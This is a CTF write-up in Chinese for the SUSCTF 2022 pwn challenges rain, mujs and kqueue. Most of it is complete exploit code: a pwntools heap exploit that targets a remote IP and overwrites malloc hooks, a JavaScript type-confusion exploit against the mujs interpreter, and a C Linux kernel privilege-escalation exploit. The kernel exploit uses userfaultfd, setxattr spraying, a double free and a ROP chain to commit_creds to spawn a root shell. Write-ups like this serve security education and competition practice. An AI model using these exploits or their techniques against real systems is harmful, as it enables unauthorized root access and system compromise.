SUSCTF2022-PWN-WP

Posted on Mar 1, 2022

这场 SUSCTF 的 pwn 题难度并不算高,我们做到凌晨一点多终于 ak 了 pwn。其中我做了 rain 这题,@xi4oyu 和学弟 @h4kuy4 一起解了 happytree 这题,然后我和 @xi4oyu 一起做了 mujs 和 kqueue。rain 是一个普通的堆题,比较简单,mujs 是一个 js 解释器 pwn,以前没接触过,小语想出了类型混淆的方法,我借此 debug 调偏移最后成功 getshell。kqueue 被非预期打穿了,我们在比赛期间完全没想通能有什么非预期,就参考了 L-team @arttnba3 师傅的这篇文章使用 “setxattr + userfaultfd 堆占位”的方法完成了利用。总的来说,学到了新东西,蛮好。这里总结一下解法。

rain

首先两个结构体猜了一下:

struct CONFIG
{
  int height;
  int width;
  unsigned __int8 front_color;
  unsigned __int8 back_color;
  char **buf1;
  int **buf2;
  int rainfall;
  int speed;
  void *print_info_func;
  char *alphabet_table;
  char *custom_table;
};
struct config_frame
{
  char height[4];
  char width[4];
  char front_color;
  char back_color;
  char rainfall[4];
  char fill[4];
  char custom_table_buf[];
};

v7 为 0 的时候就是 custom_table 被 free 了,即 realloc 的 size 为 0 时,但是没有置零指针,所以可以 UAF。 执行 rainfall 后,config 结构体会被重新初始化,所以可以获得走 __libc_malloc 的 realloc 机会 所以多次 double free leak 出 libc,然后通过 rainfall 多次取出 tcache bins,修改 next,打 __realloc_hook__malloc_hook one_gadget getshell

exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]

#sh = process("./rain")
libc = ELF("./libc.so.6")
sh = remote("124.71.185.75", 9999)

def config(frame):
    sh.sendlineafter("ch> ", '1')
    sh.sendafter("FRAME> ", frame)

def print_info():
    sh.sendlineafter("ch> ", '2')

def rain():
    sh.sendlineafter("ch> ", '3')

frame = p32(0x0) + p32(0x0) + '\x02' + '\x01' + p32(0x0) + p32(0)
frame = frame.ljust(18 + 0x188, '\xAA')
config(frame)

frame = p32(0x0) + p32(0x0) + '\x02' + '\x01' + p32(0x0) + p32(0)
config(frame)
config(frame)
config(frame)
config(frame)
config(frame)
config(frame)
config(frame)
config(frame)

print_info()
sh.recvuntil("Table:")
sh.recv(12)
libc_addr = u64(sh.recv(6).ljust(8, '\x00'))
libc_base = libc_addr - libc.sym["__malloc_hook"] - 0x10 - 0x60
__free_hook = libc_base + libc.sym["__free_hook"]
__realloc_hook = libc_base + libc.sym["__realloc_hook"]
__malloc_hook = libc_base + libc.sym["__malloc_hook"]
malloc = libc_base + libc.sym["__libc_malloc"]
system = libc_base + libc.sym["system"]
realloc = libc_base + libc.sym["__libc_realloc"]
log.success("libc_base: " + hex(libc_base))

frame = p32(0x50) + p32(0x50) + '\x02' + '\x01' + p32(0x0) + p32(0)
frame += p64(libc_addr) * 2
frame = frame.ljust(18 + 0x180, '\xAA')
frame += p64(0x190)
config(frame)

frame = p32(0x1) + p32(0x1) + '\x02' + '\x01' + p32(0x0) + p32(0)
frame += p64(__realloc_hook)
frame = frame.ljust(18 + 0x58, '\xAA')
config(frame)
rain()

frame = p32(0x1) + p32(0x1) + '\x02' + '\x01' + p32(0x0) + p32(0)
#frame += p64(system)
frame = frame.ljust(18 + 0x180, '\xAA')
frame += p64(0x190)
config(frame)
rain()

one_gadget = libc_base + 0x10a45c
frame = p32(0x1) + p32(0x1) + '\x02' + '\x01' + p32(0x0) + p32(0)
frame += p64(one_gadget) + p64(realloc + 10)
frame = frame.ljust(18 + 0x180, '\x00')
frame += p64(0x190)
#gdb.attach(sh)
config(frame)

sh.interactive()

mujs

hash 是 commit hash,clone 下来 diff 就行

分析 diff 发现添加了一个 DataView 类,审计代码发现 setUint8 方法中存在越界,可以 off 9 字节(这里盗用小语的图)

另外,Array 类在 setLength 时,length 增长时没有检测,由此考虑通过溢出修改下一个 DataView 对象的 type 字段为 Array 的 type 实现类型混淆,通过 array 的 setLength 修改 length 字段,然后再修改回 DataView 实现较大范围的 oob。通过 oob leak 出 libc 地址,修改一个 DataView 的 data 指针指向 __free_hook,劫持为 system,最后,通过字符串拼接获得一个存有 '/bin/sh' 的 chunk,重复赋值即可 getshell。

之后利用的主要难度在于代码的更改会影响到堆的布局,只能说耐心 debug 吧。

exp:

function test1() {
    dvFill0 = new DataView(0xFF8);
    dvFill1 = new DataView(0x58);
    dvFill2 = new DataView(0x58);
    dvFill3 = new DataView(0x58);
    dvFill4 = new DataView(0x58);
    dvFill5 = new DataView(0x58);
    dvFill6 = new DataView(0x58);
    dvFill7 = new DataView(0x58);
    dvFill8 = new DataView(0x108);
    dvFill9 = new DataView(0x1D8);
    var dvArr = []
    for (var i = 0; i < 0x51; i++) {
        dvArr[i] = new DataView(0x18);
    }
    var dv1 = new DataView(0x18);
    dv1.setUint32(0, 0xDEADBEEF);
    dv1.setUint32(4, 0x13372333);
    var dv2 = new DataView(0x18);
    var dv3 = new DataView(0x18);
    dv3.setUint32(0, 0xDEADBEEF);
    dv1.setUint8(0x18 + 8, 1);
    dv2.length = 0x7FFFFFFF;
    dv1.setUint8(0x18 + 8, 0x10);
    dv4 = new DataView(0x430);
    dv4 = new DataView(0x18);
    dv4.getUint8();
    var libc_low32 = dv2.getUint32(0x640, true) - 2014176;
    var libc_high32 = dv2.getUint32(0x644, true);
    var libc_base = libc_high32 * 0x100000000 + libc_low32;
    print(libc_base);
    dv2.setUint32(0x48, libc_low32 + 2026280);
    dv2.setUint32(0x4C, libc_high32);
    dv3.setUint32(0, libc_low32 + 349200);
    dv3.setUint32(0x4, libc_high32);
    var s1 = new String("/bin");
    var s2 = new String("/sh");
    s = s1 + s2;
    s = new String("/bin/sh");
}
  
test1();
//var dv3 = new DataView(0x10);

kqueue & kqueue’s revenge

两个环境用同样的 exp 打通了。

Linux kernel pwn,使用 slub 分配器,没开启 harden 和 freelist randomize。

push copy 有没有成功都已经把节点加进去了

pop 的时候锁没加对地方

这里的利用手法我们主要参考了这篇文章

我简单总结一下这个方法,利用时,通过 setxattr 可以用 kvmalloc 申请任意大小的空间,像其中通过 copy_from_user 写入数据,然后会被 kvfree 掉。为了不让该 slab 被 free 掉,在跨页拷贝时可以做到向申请回来的 chunk 中写入(一部分)数据,然后在 copy 到下一页时,我们通过注册 userfaultfd 卡住该页的拷贝,就可以避免 kvfree 的执行。这样就实现了在用户态 kmalloc 并写入数据的效果。

那么我们只需要构造 double free 和 leak 即可。

double free 的办法

head        tail
 |            |
node1  ->   node2

pop1 copy 时 userfaultfd 线程里 pop2

对于 pt_regs,断在 gadget 上

(gdb) x/20xg 0xffffc90000167f58
0xffffc90000167f58:     0x00000000beefdead      0x0000000011111111
0xffffc90000167f68:     0x0000000022222222      0x0000000033333333
0xffffc90000167f78:     0x0000000044444444      0x0000000055555555
0xffffc90000167f88:     0x0000000000000246      0x0000000077777777
0xffffc90000167f98:     0x0000000088888888      0x0000000099999999
0xffffc90000167fa8:     0xffffffffffffffda      0x000000000040209c
0xffffc90000167fb8:     0x0000000000000008      0x00007f7fbd637130
0xffffc90000167fc8:     0x000000000000006b      0x0000000000000000
0xffffc90000167fd8:     0x000000000040209c      0x0000000000000033
0xffffc90000167fe8:     0x0000000000000246      0x00007f7fbd637130
(gdb) p/x $rsp
$2 = 0xffffc90000167de0

计算得 offset: 0x178

刚开始ROPgadget和ropper工具都没找到合适的 gadget,最后小语通过 objdump -d vim 打开,眼拔+搜索之后发现一个可用的 gadget 可以滑倒 pt_regs 上。

另外一个比较重要的点在于需要把进程绑定到一个 CPU 上,也就是 exp 中的这段代码

// 绑定到一个cpu上
	unsigned char cpu_mask = 0x01;
    sched_setaffinity(0, 1, &cpu_mask);

我们在调试时发现 double free 后,申请 seq_operation 和 setxattr 的 kvmalloc 时都无法申请到 double free 的 chunk,猜测是 kmem_cache 中的 struct kmem_cache_cpu __percpu *cpu_slab; 字段,也就是 cpu cache 造成的,所以把进程绑定到了一个 cpu 上,就成功分配了。

leak 使用了 shm_file_data 结构体。由于 push 和 pop 操作的锁是分离的,所以 push 时通过 userfaultfd 卡住 copy_from_user 的操作,此时 push 进的 node 里面还是脏数据,在 userfaultfd handler 中 pop 即可读出脏数据,由此完成 leak。

exp 照抄的 @arttnba3 大师傅的 exp,改了些偏移之类的。

// x86_64-buildroot-linux-uclibc-cc -masm=intel -static -pthread -o  exp exp.c

#include <sys/types.h>
#include <sys/xattr.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <semaphore.h>

#define KERNCALL __attribute__((regparm(3)))

size_t user_cs, user_gs, user_ds, user_es, user_ss, user_rflags, user_rsp;
void get_userstat();

size_t commit_creds;
size_t prepare_kernel_cred;
void * kernel_base = 0xffffffff81000000;
size_t kernel_offset = 0;
static pthread_t monitor_thread;

int dev_fd;
size_t          seq_fd;
size_t          seq_fd_reserve[0x100];
static char     *page = NULL;
static size_t   page_size;

void errExit(char *msg)
{
	printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
	exit(EXIT_FAILURE);
}

void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*))
{
    long uffd;
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    int s;

    /* Create and enable userfaultfd object */
    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1)
        errExit("userfaultfd");

    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
        errExit("ioctl-UFFDIO_API");

    uffdio_register.range.start = (unsigned long) addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
        errExit("ioctl-UFFDIO_REGISTER");

    s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd);
    if (s != 0)
        errExit("pthread_create");
}


void push(char *data)
{
    if (ioctl(dev_fd, 0x1314001, data) < 0)
        errExit("push!");
}

void pop(char *data)
{
    if (ioctl(dev_fd, 0x1314002, data) < 0)
        errExit("pop!");
}

static void * leak_thread(void *arg)
{
    struct uffd_msg msg;
    int fault_cnt = 0;
    long uffd;

    struct uffdio_copy uffdio_copy;
    ssize_t nread;

    uffd = (long) arg;

    for (;;) 
    {
        struct pollfd pollfd;
        int nready;
        pollfd.fd = uffd;
        pollfd.events = POLLIN;
        nready = poll(&pollfd, 1, -1);

        if (nready == -1)
            errExit("poll");

        nread = read(uffd, &msg, sizeof(msg));

        if (nread == 0)
            errExit("EOF on userfaultfd!\n");

        if (nread == -1)
            errExit("read");

        if (msg.event != UFFD_EVENT_PAGEFAULT)
            errExit("Unexpected event on userfaultfd\n");

        puts("[*] push trapped in userfaultfd.");
        pop(&kernel_offset);
        printf("[*] leak ptr: %p\n", kernel_offset);
        kernel_offset -= 0xffffffff81a32c00;
        kernel_base += kernel_offset;

        uffdio_copy.src = (unsigned long) page;
        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
                                              ~(page_size - 1);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
            errExit("ioctl-UFFDIO_COPY");

        return NULL;
    }
}

static void * double_free_thread(void *arg)
{
    struct uffd_msg msg;
    int fault_cnt = 0;
    long uffd;

    struct uffdio_copy uffdio_copy;
    ssize_t nread;

    uffd = (long) arg;

    for (;;) 
    {
        struct pollfd pollfd;
        int nready;
        pollfd.fd = uffd;
        pollfd.events = POLLIN;
        nready = poll(&pollfd, 1, -1);

        if (nready == -1)
            errExit("poll");

        nread = read(uffd, &msg, sizeof(msg));

        if (nread == 0)
            errExit("EOF on userfaultfd!\n");

        if (nread == -1)
            errExit("read");

        if (msg.event != UFFD_EVENT_PAGEFAULT)
            errExit("Unexpected event on userfaultfd\n");

        puts("[*] pop trapped in userfaultfd.");
        puts("[*] construct the double free...");
        pop(page);

        uffdio_copy.src = (unsigned long) page;
        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
                                              ~(page_size - 1);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
            errExit("ioctl-UFFDIO_COPY");

        return NULL;
    }
}

size_t init_cred = 0xffffffff81a2a6e0;
size_t  pop_rdi_ret = 0xffffffff8115305c;
size_t  mov_rdi_rax_pop_rbp_ret = 0xffffffff8121f89a;
size_t  swapgs_restore_regs_and_return_to_usermode = 0xffffffff81400d2e;

void get_root_shell()
{
	puts("[*] get root shell...");
	system("/bin/sh");
}

size_t mov_cr4_ret;
size_t pop_rax_4other_ret;
size_t init_cred;
size_t get_root_shell_addr;

void get_root_and_ret()
{
	while (1)
	{
		/* code */
	}

}

size_t get_root_and_ret_addr;

static void * hijack_thread(void *arg)
{
    struct uffd_msg msg;
    int fault_cnt = 0;
    long uffd;

    struct uffdio_copy uffdio_copy;
    ssize_t nread;

    uffd = (long) arg;

    for (;;) 
    {
        struct pollfd pollfd;
        int nready;
        pollfd.fd = uffd;
        pollfd.events = POLLIN;
        nready = poll(&pollfd, 1, -1);

        if (nready == -1)
            errExit("poll");

        nread = read(uffd, &msg, sizeof(msg));

        if (nread == 0)
            errExit("EOF on userfaultfd!\n");

        if (nread == -1)
            errExit("read");

        if (msg.event != UFFD_EVENT_PAGEFAULT)
            errExit("Unexpected event on userfaultfd\n");

        puts("[*] setxattr trapped in userfaultfd.");
        puts("[*] trigger now...");

        for (int i = 0; i < 100; i++)
            close(seq_fd_reserve[i]);

        // trigger
		init_cred += kernel_offset;
        pop_rdi_ret += kernel_offset;
		mov_cr4_ret = 0xffffffff8101d910 + kernel_offset;
		pop_rax_4other_ret = 0xffffffff81032761 + kernel_offset;
        // mov_rdi_rax_pop_rbp_ret += kernel_offset;
        prepare_kernel_cred = 0xffffffff81055cb0 + kernel_offset;
        commit_creds = 0xffffffff81055ae0 + kernel_offset;
        swapgs_restore_regs_and_return_to_usermode = kernel_offset + 0xFFFFFFFF81400AAA;
		init_cred = 0xffffffff81a2a6e0 + kernel_offset;
		get_root_and_ret_addr = &get_root_and_ret;
		get_root_shell_addr = &get_root_shell;
        printf("[*] gadget: %p\n", swapgs_restore_regs_and_return_to_usermode);
        __asm__(
            "mov r15,   0xbeefdead;"
            "mov r14,   pop_rdi_ret;"
            "mov r13,   init_cred;"
            "mov r12,   commit_creds;"
            "mov rbp,   swapgs_restore_regs_and_return_to_usermode;"
            "mov rbx,   get_root_shell_addr;"  
            "mov r11,   user_cs;"
            "mov r10,   user_rflags;"
            "mov r9,    user_rsp;"
            "mov r8,    user_ss;"
            "xor rax,   rax;"
            "mov rcx,   0xaaaaaaaa;"
            "mov rdx,   8;"
            "mov rsi,   rsp;"
            "mov rdi,   seq_fd;"
            "syscall"
        );

        puts("[+] back to userland successfully!");
        printf("[+] uid: %d gid: %d\n", getuid(), getgid());
        puts("[*] execve root shell now...");
        system("/bin/sh");

        uffdio_copy.src = (unsigned long) page;
        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
                                              ~(page_size - 1);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
            errExit("ioctl-UFFDIO_COPY");

        return NULL;
    }
}

int main(int argc, char const* argv[])
{
	size_t      data[0x10];
    char        *uffd_buf_leak;
    char        *uffd_buf_uaf;
    char        *uffd_buf_hack;
    int         pipe_fd[2];
    int         shm_id;
    char        *shm_addr;
  
	signal(SIGSEGV, get_root_shell);
    // 绑定到一个cpu上
	unsigned char cpu_mask = 0x01;
    sched_setaffinity(0, 1, &cpu_mask);
	get_userstat();

	dev_fd = open("/dev/kqueue", O_RDONLY);
	if (dev_fd < 0)
		errExit("open dev");

	page = malloc(0x1000);
    page_size = sysconf(_SC_PAGE_SIZE);

	for (int i = 0; i < 100; i++)
        if ((seq_fd_reserve[i] = open("/proc/self/stat", O_RDONLY)) < 0)
            errExit("seq reserve!");

	uffd_buf_leak = (char*) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    registerUserFaultFd(uffd_buf_leak, page_size, leak_thread);

	shm_id = shmget(114514, 0x1000, SHM_R | SHM_W | IPC_CREAT);
    if (shm_id < 0)
        errExit("shmget!");
    shm_addr = shmat(shm_id, NULL, 0);
    if (shm_addr < 0)
        errExit("shmat!");
    if(shmdt(shm_addr) < 0)
        errExit("shmdt!");

    // leak kernel base  
    push(uffd_buf_leak);
    printf("[+] kernel offset: %p\n", kernel_offset);
    printf("[+] kernel base: %p\n", kernel_base);

	// create uffd thread for double free
    uffd_buf_uaf = (char*) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    registerUserFaultFd(uffd_buf_uaf, page_size, double_free_thread);

    // construct the double free
    push("arttnba3");
    pop(uffd_buf_uaf);

	 // create uffd thread for hijack
    uffd_buf_hack = (char*) mmap(NULL, page_size * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    registerUserFaultFd(uffd_buf_hack + page_size, page_size, hijack_thread);
    printf("[*] gadget: %p\n", 0xffffffff81a6f327 + kernel_offset);
    *(size_t *)(uffd_buf_hack + page_size - 8) = 0xffffffff810494c5 + kernel_offset;    // add    rsp,0x160, pop 4, ret

    // // userfaultfd + setxattr to hijack the seq_ops->stat, trigger in uffd thread
    seq_fd = open("/proc/self/stat", O_RDONLY);
    setxattr("/exp", "arttnba3", uffd_buf_hack + page_size - 8, 32, 0);

	return 0;
}

void get_userstat()
{
    __asm__(".intel_syntax noprefix\n");
    __asm__ volatile(
        "mov user_cs, cs;\
         mov user_ss, ss;\
         mov user_gs, gs;\
         mov user_ds, ds;\
         mov user_es, es;\
         mov user_rsp, rsp;\
         pushf;\
         pop user_rflags");
//    printf("[+] got user stat\n");
}